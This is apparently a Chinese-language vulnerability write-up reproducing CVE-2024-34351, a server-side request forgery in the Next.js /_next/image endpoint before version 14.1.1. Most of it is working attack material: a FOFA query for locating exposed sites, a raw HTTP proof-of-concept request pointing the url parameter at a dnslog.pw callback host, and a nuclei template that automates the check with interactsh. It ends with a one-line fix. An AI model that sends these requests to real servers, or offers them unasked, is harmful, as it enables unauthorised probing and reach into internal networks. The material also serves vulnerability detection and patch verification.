CVE-2024-34351 漏洞复现 poc (超大规模)

免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！

01

—

漏洞名称

Next.js /_next/image SSRF 漏洞

02

—

漏洞影响

Next.js < 14.1.1版本

03

—

漏洞描述

Next.js是一个基于React的框架，专门为服务器端渲染（SSR）或静态站点生成（SSG）优化。它在其官网介绍中，主要突出就是相较于React做了许多的优化，为全栈开发打造。该软件低于14.1.1的版本中存在SSRF漏洞。

04

—

FOFA搜索语句

body="/_next/static"

05

—

漏洞复现

借助http://dnslog.pw/dns/复现

POC数据包如下

GET /_next/image?w=16&q=10&url=http://tvq938xd.dnslog.pw HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

漏洞复现成功

06

—

nuclei poc

poc文件内容如下

id: CVE-2024-34351
info:
  name: Next.js - Server Side Request Forgery (SSRF)
  author: righettod
  severity: high
  description: |
    Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.
  remediation: Upgrade to Next.js version 14.1.1 or higher.
  reference:
    - https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34351
    - https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g
    - https://github.com/vercel/next.js/commit/8f7a6ca7d21a97bc9f7a1bbe10427b5ad74b9085
    - https://github.com/vercel/next.js/pull/62561
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-34351
    cwe-id: CWE-918
    epss-score: 0.00062
    epss-percentile: 0.26843
  metadata:
    max-request: 2
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2024,vercel,nextjs,ssrf
http:
  - method: GET
    path:
      - '{{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}}'
      - '{{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}'
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - 'http'
      - type: word
        part: body
        words:
          - "The requested resource isn't a valid image"

07

—

修复建议

升级到最新版本。